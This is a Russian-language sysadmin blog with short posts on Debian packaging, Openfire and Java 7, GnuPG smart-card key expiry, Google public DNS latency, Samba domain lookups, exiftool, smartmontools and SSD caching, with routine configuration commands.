example.com.  IN  TXT  "v=spf1 a mx include:servers.mcsv.net ~all"
k1._domainkey.example.com.  IN  CNAME  dkim.mcsv.net.

Теперь вы стали чуточку более белым и пушистым в глазах ваших клиентов.

четверг, 7 апреля 2016 г.

Проблемы с Google public DNS

Разобрался с "проблемой" в производительности сайта, мониторинг которого выполняет Zabbix. Проблема выглядела как резкие отклонения response time в графиках проверок.


Включил в Nginx логирование времени обработки запроса. Но никакой связи с пиками на графике в логе Nginx не заметил - время ответа сайта не меняется и находится в районе 150-200 ms. Следовательно проблема вовсе не в сайте.

Сначала подумал что врать может сам zabbix, но поиск по форумам не дал ничего интересного. Наврятли подобная проблема может остаться незамеченной.

Zabbix и сайт находятся в одной локальной сети, следовательно скорость соединения не может приводить к подобным отклонениям. Что может быть причиной проблемы если это не сайт и не сеть? Остается DNS и zabbix как раз использует google public dns (8.8.8.8, 8.8.4.4).

Для проверки прописываю в /etc/hosts нужные хосты и вуаля - проблема исчезает на глазах.


В процессе нашел ссылку где также указывают на проблемы с Google public DNS. Так что похоже проблема не только у меня.

В общем еще одно подтверждение правилу - если сервис не контролируется тобой, то подвести он может в любой момент.

пятница, 1 апреля 2016 г.

Протухли ключи на смарт-карте

Довольно долго не пользовался GnuPG и при попытке подписать письмо в Claws-Mail получил ошибку:


Сначала подумал что какая-то проблема со смарт-картой, но gpg2 --card-status правильно определил карту.

Попробовал подписать обычный файл и увидел подробности ошибки.

% gpg2 --output test.txt.asc -ba test.txt
gpg: secret key parts are not available
gpg: no default secret key: Unusable secret key
gpg: signing failed: Unusable secret key

И я бы еще долго гуглил, если бы не посмотрел статус ключей. Оказалось что subkeys на карте истекли, а gnupg внятного описания проблемы не дает. Продление ключей решило проблему.

Пакеты openfire 4.0.2 для Debian не работают с java 7

Попробовал обновить openfire с 4.0.1 до 4.0.2 в Debian Wheezy. Обновление проходит без проблем, но клиенты не могут подключиться к серверу.

В логе openfire следующее:

2016.04.01 14:35:18 org.jivesoftware.openfire.nio.ConnectionHandler - Closing connection due to exception in session: (0x00000002: nio socket, server, /x.x.x.x:50558 => /y.y.y.y:5222)
java.lang.NoSuchMethodError: java.util.concurrent.ConcurrentHashMap.keySet()Ljava/util/concurrent/ConcurrentHashMap$KeySetView;
at org.jivesoftware.openfire.roster.Roster.broadcastPresence(Roster.java:628)

[пропущен кусок лога]

at java.lang.Thread.run(Thread.java:745)

В багтрекере openfire есть несколько записей на эту тему (OF-965, OF-1115, OF-1116). Причина в том, что openfire 4.0.2 скомпилирован с использованием java 8.x, а в Wheezy доступна только java 7.x. Тут более детально описан источник несовместимости.

Я могу понять позицию разработчиков openfire на счет EOL java 7, но в этом случае нужно изменить зависимости пакета и обновить документацию - тогда никаких вопросов не будет. А пока же заявлена поддержка java 7, но работать будет только с java 8.

UPDATE: Собрал openjdk-8 под Debian Wheezy. Установил на тестовый сервер и попробовал удалить старый openjdk-7 - фиг вам. Оказывается он еще и в зависимостях пакета прибит гвоздями:

$ apt-cache show openfire | grep Depends
Pre-Depends: openjdk-7-jre-headless | openjdk-7-jre | oracle-java7-jre

Перепаковывать лениво - остановил openfire и прописал в /etc/default/openfire нужный JAVA_HOME. После этого все заработало.

вторник, 15 марта 2016 г.

Исправление в Midnight Commander 4.8.16

Собрал пакеты Midnight Commander 4.8.16 с этим патчем. Патч исправляет отображение не-ASCII символов в листинге директории через "Shell link" (FISH). В моем примере вместо кириллицы видны цифры:


Версия 3:4.8.16-2 уже содержит этот патч, пакеты собраны и загружены в мой репозитарий.

воскресенье, 6 марта 2016 г.

Исправлены ночные сборки Midnight Commander

Примерно два месяца назад в апстриме Midnight Commander сломалась сборка архива исходников, который генерируется командой "make dist" из ветки master. Из-за ошибки в файле src/subshell/Makefile.am в архив не добавлялся один заголовочный файл (src/subshell/subshell.h) и это приводило к последующей ошибке компиляции. Я этот момент откровенно прозевал и заметил только тогда, когда апстрим фактически исправил проблему.

На днях смержили нужный комит и ночные сборки снова работают. Более того теперь travis проверяет статус сборки из архива, генерируемого через "make dist", а не компилирует исходники напрямую из master ветки.

среда, 2 марта 2016 г.

Excel неправильно определяет разделитель в CSV файле

Если при открывании CSV файла в Excel вы видите мешанину данных в виде только одной колонки, то скорее всего причина в разделителе, который не соответствует настройкам разделителя полей вашей локали. Для русской локали по-умолчанию разделитель точка с запятой ";", а для англоязычных - запятая ",".

Можно либо сделать замену разделителя в файле, либо временно поменять настройки разделителя полей в локали (трудно предсказать где это аукнется). Но есть более правильный способ - откройте файл в любом текстовом редакторе (блокнот например) и первой строчкой допишите:

sep=,

В качестве значения sep= укажите нужный разделитель. Сохраните файл и откройте его в Excel - должно открываться правильно.

P.S. Кстати в OpenOffice/LibreOffice эту проблему решили - там спрашивает настройки разделителя и формат полей при открывании CSV файла.

UPDATE: В комментарии подсказали, что в Excel можно импортировать данные из CSV файла через "Данные / Получить внешние данные / Из текста". В этом случае спрашивает настройки импорта в которых можно задать все необходимое.

Завершилась поддержка Debian Squeeze-LTS

29 февраля завершилась поддержка дистрибутива Debian Squeeze-LTS. Это значит что обновлений больше не будет, но для сохранения возможности устанавливать пакеты достаточно поправить строчку в /etc/apt/sources.list

Было "deb http://http.debian.net/debian squeeze main contrib non-free", а стало "deb http://archive.debian.org/debian squeeze main contrib non-free".

Благо на archive.debian.org выложены все прошлые дистрибутивы Debian. На всякий случай упомяну snapshot.debian.org - сервис где можно достать любую версию пакета, которая когда-то входила в дистрибутив.

четверг, 25 февраля 2016 г.

Отлючение IPv6 в Linux

Чтобы отключить IPv6 в Linux добавьте в /etc/sysctl.conf (в /etc/sysctl.d/50-disable-ipv6.conf для Debian) следующие настройки:

net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1
net.ipv6.conf.eth0.disable_ipv6 = 1

Дополнительно добавьте настройки для всех интерфейсов, отличающихся от lo и eth0. Для применения настроек выполните команду:

$ sudo sysctl -p /etc/sysctl.conf
$ sudo service procps start # Debian

Это поможет решить проблемы с таймаутами того же apt-get update, который стучится на зеркала, имеющие адрес IPv6, но их сервисы отвечают только по IPv4.

пятница, 19 февраля 2016 г.

Получение списка master browsers и logon servers для домена

Имеется NT4-style домен SAMDOM под управлением Samba 3.6.x. Чтобы посмотреть список master browsers и logon servers для этого домена подойдет команда:

$ nmblookup 'SAMDOM#1B' 'SAMDOM#1C'
192.168.0.23 SAMDOM<1b>
192.168.0.23 SAMDOM<1c>
192.168.0.111 SAMDOM<1c>

Это помогло мне найти причину внезапно отвалившегося входа в домен под Windows 7 (грузился сохраненный профиль).

Вражеским девайсом (192.168.0.111) оказался QNAP NAS который будучи подключенным к LDAP авторизации внезапно решил, что он заодно и logon server для домена SAMDOM. Найти способа оторвать этот интеллект, оставив авторизацию пользователей через LDAP, в настройках мне не удалось.

В качестве костыля пришлось подредактировать скрипт /etc/init.d/smb.sh и запретить настраивать "domain logons = yes" при старте сервиса. Но это поможет только до первой перезагрузки NAS.

вторник, 16 февраля 2016 г.

Редактирование метаданных в PDF файле

Если нужно отредактировать метаданные в PDF файлах (например задать автора), то для этого подойдет exiftool из пакета libimage-exiftool-perl.

$ exiftool -Author='Author Name' file.pdf
    1 image files updated

Посмотреть метаданные PDF можно так:

$ exiftool -a CommunityDiskBackupDesign.pdf
ExifTool Version Number         : 9.74
File Name                       : CommunityDiskBackupDesign.pdf
Directory                       : .
File Size                       : 477 kB
File Modification Date/Time     : 2015:10:28 12:10:59+03:00
File Access Date/Time           : 2016:02:07 14:20:48+03:00
File Inode Change Date/Time     : 2015:10:28 14:54:36+03:00
File Permissions                : r--------
File Type                       : PDF
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 24
Page Mode                       : UseNone
Author                          : Bacula Systems SA
Title                           : 
Subject                         : 
Creator                         : LaTeX with hyperref package
Producer                        : pdfTeX-1.40.14
Create Date                     : 2014:11:25 18:38:13+01:00
Modify Date                     : 2014:11:25 18:38:13+01:00
Trapped                         : False
PTEX Fullbanner                 : This is pdfTeX, Version 3.1415926-2.5-1.40.14 (TeX Live 2013/Debian) kpathsea version 6.1.1

Чтобы удалить содержимое тега нужно задать ему пустое значение:

$ exiftool -Producer= -Creator= file.pdf
    1 image files updated

пятница, 12 февраля 2016 г.

Буфер обмена в X11

Когда все работает хорошо, то редко задумываешься как оно устроено. А когда оно работает плохо, то ты не знаешь как его чинить, потому что не знаешь как оно устроено.

Коллега как-то рассказал мне, что если в Linux скопировать текст в приложении а потом закрыть его, то содержимое буфера обмена пропадет. Я попробовал воспроизвести у себя, но ничего не пропадало. Тогда я понятия не имел как работает буфер обмена, но прочитав это и это я понял почему проблема есть у коллеги и ее нет у меня.

Разница в том, что у меня запущен менеджер буфера обмена (parcellite) и он сохраняет содержимое PRIMARY и CLIPBOARD в момент, когда я закрываю приложение. Вот вам и причина установить менеджер буфера обмена.

среда, 10 февраля 2016 г.

Обновление базы drivedb в smartmontools

Если в выводе smartctl есть неизвестные атрибуты (Unknown_Attribute), то можно попробовать обновить базу drivedb. В Debian для этого есть скрипт update-smart-drivedb

$ sudo update-smart-drivedb

Если при выполнении выдаст ошибку /usr/share/smartmontools/drivedb.h.error: rejected by /usr/sbin/smartctl, probably no longer compatible, то нужно изменить URL по которому скрипт скачивает базу.

Откройте файл /usr/sbin/update-smart-drivedb в текстовом редакторе и найдите переменную SRCEXPR (смотрите в районе 43 строки). Замените его значение на 'http://sourceforge.net/p/smartmontools/code/HEAD/tree/$location/smartmontools/drivedb.h?format=raw'.

Теперь обновление базы пройдет нормально.

понедельник, 8 февраля 2016 г.

Собрал пакет pidgin-skypeweb 1.1 под Debian/Ubuntu

Появилась новая версия плагина skypeweb 1.1 для pidgin (а заодно и всего на libpurple). В новой версии реализовали передачу файлов и логин через Live.

Я проверял передачу файлов - работает частично. Между разными клиентами web.skype.com передаются крупные файлы (насколько крупные я не разбирался), а мелкие файлики на 100-300 kB не передает (хотя и пишет что файл отправлен). Из нативного скайпа в webskype файл не пришел.

Групповые чаты из нативного скайпа подтянуло частично. Возможно работают только чаты, созданные через web.skype.com.

Новая версия уже доступна в моем репозитарии.

вторник, 19 января 2016 г.

Оптимизация хранения данных

Предыстория

Есть сервер используемый для веб разработки. На сервере различные конфигурации сайтов (версии PHP, MySQL, Apache и т.д.) настроены в виде контейнеров OpenVZ. Для комфортной работы его наиболее востребованные ресурсы (исходники и базы данных) хранятся на SSD (Intel DC S3500 480G в RAID1), а прочие данные на HDD (обычные SATA диски в RAID1). Посредством LVM хранилище на SSD разбито примерно пополам между исходниками и OpenVZ (основной объем - базы данных).

С некоторых пор в исходниках стало недоставать свободного места. Приходится просить разработчиков убирать ненужные исходники или архивировать давно неиспользуемые. Поскольку atime отключен, то трудно сказать наверняка когда пользовались этими данными, можно ли их архивировать и нужны ли они вообще. Кое-как это работало в самом начале, но позже народ "устал" и делать отказывается под разными предлогами. Я их не виню :)

Поиск решения

Несмотря на внушительный общий объем исходников (около 180G) объем "горячих" данных невелик - 10-30G. С этими данными разработчики работают в данный момент и именно к ним нужно обеспечить быстрый доступ на чтение/запись. Остальной объем данных считается "холодным" и он может потребоваться спустя пару дней, недель или не потребоваться вовсе. Тут предсказать трудно.

Поскольку экстенсивный рост (докупить еще SSD дисков) довольно дорог (сейчас два дополнительных SSD класса Intel DC S3500 на 480G стоят примерно 900$), то я пробую пойти интенсивным путем и оптимизировать использование уже установленных.

Мне нужно ускорить массив обычных SATA дисков через использование SSD. По предварительной прикидке под эту задачу подойдут:
Года два назад у меня уже был опыт использования FlashCache в режиме writeback. Понравилось, что он может быть использован поверх устройства с данными (cache backend) без предварительной подготовки этого устройства. В режиме writeback (на ssd кешируется и запись и чтение) позволяет сохранять состояние кеша между перезагрузками.

EnhanceIO является "улучшенной" версией Flashcache и использует его наработки. Что конкретно там улучшили я пока не разбирался.

Про dm-cache я слышал, но использовать не доводилось. Знаю только, что он требует форматирования cache backend перед использованием.

Аналогично bcache - только слышал, но пользоваться не доводилось.

Btier к кешированию не имеет никакого отношения. Это tiered storage который самостоятельно балансирует данные между разными бэкендами (ssd, sata, iscsi, etc) в зависимости от их использования.

Flashcache, EnhanceIO, dm-cache, bcache - это все варианты реализации кеширования записи на hdd через ssd. Они отличаются деталями реализации, но суть работы у них одна. А вот btier это интересный вариант. Он позволяет создать многоуровневую схему хранения данных значительного объема и автоматически мигрировать данные между уровнями в зависимости от их использования. Попробую для начала его, а дальше будет видно.

среда, 13 января 2016 г.

Munin-node на Arduino

Написал реализацию munin-node для Arduino. Для подключения к сети используется Ethernet shield. Сейчас мониторится относительная влажность и температура, но в планах добавить датчик CO2 и переписать на esp8266. В идеале хочется отказаться от Arduino вообще и использовать только ESP8266 с батарейным питанием.


Вначале было два датчика: DHT11 и DHT22, но их показания по части влажности отличались почти на 10%. Чтобы набрать кворум добавил еще 3 датчика DHT22. Теперь два старых датчика показывают похожие значения, а три новых почти не отличаются в показаниях между собой, но не совпадают с двумя старыми примерно на 10%.

Относительная влажность

Температура
Считается, что комфортный уровень влажности для человека это 40-60%. До включения отопления было 40-50%.